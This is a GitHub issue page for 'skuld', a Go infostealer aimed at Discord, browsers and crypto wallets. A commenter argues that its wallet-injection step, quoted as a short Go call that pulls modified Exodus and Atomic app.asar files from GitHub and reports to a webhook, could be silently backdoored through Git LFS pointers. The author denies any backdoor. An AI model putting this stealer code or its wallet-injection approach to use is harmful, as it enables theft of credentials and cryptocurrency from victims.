search

hackirby / skuld

Next-Gen Stealer written in Go. Stealing from Discord, Chromium-Based & Firefox-Based Browsers, Crypto Wallets and more, from every user on every disk. (PoC. For educational purposes only)
MIT License
85 stars 25 forks source link

this is backdoored #21

Closed cartergloria37 closed 1 month ago

cartergloria37 commented 1 month ago

likely backdoored with the way it loads those external asar modules that are 60bs/120mbs. it is hard to have a clue what could be happening inside those modules. be wary. 

    go walletsinjection.Run(
        "https://github.com/hackirby/wallets-injection/raw/main/atomic.asar",
        "https://github.com/hackirby/wallets-injection/raw/main/exodus.asar",
        CONFIG["webhook"].(string),
    )

Those modules are fetched dynamically when you run the code.

Problem is, there is no files there. When you git clone this repo and cat the module you get:

[user@dev-tools wallets-injection]$ cat exodus.asar 
version https://git-lfs.github.com/spec/v1
oid sha256:d19109209ffc7b8b286eec3574a2634e9611f8d5431f1c87fb99fccd315772b6
size 132486162

The exodus.asar file you're seeing is one of these pointer files. It's a small text file that contains metadata about the actual large file, including its size, a unique identifier (oid), and the URL of the LFS server where the actual file content is stored (version https://git-lfs.github.com/spec/v1).

Problem is this reference 

sha256:d19109209ffc7b8b286eec3574a2634e9611f8d5431f1c87fb99fccd315772b6

Can be changed at any given time by git pushing -f the repo at https://github.com/hackirby/wallets-injection

Dates can be faked so you will never know when it was changed, it can be changed any given day, commit date can be modified. Now it says it was last changed 7 months ago, but truth is it could've been changed at any time.

Nice scheme though!

hackirby commented 1 month ago

I use Git LFS to manage modified app.asar files because they are quite large.

I find it more efficient to directly store these files for users rather than unpacking them on users' computers, modifying the code, and then repacking them. This approach helps to ensure that the program doesn't encounter issues if Exodus or Atomic updates and remove code blocks skuld would replace.

Rest assured, there are no backdoors in the hosted files. You can verify this using the command line examples I've provided in wallets-injection repository.

I have no intention of including malware, however, I understand your concern. If you prefer, you can host the app.asar files yourself on your own GitHub repository to ensure they remain secure.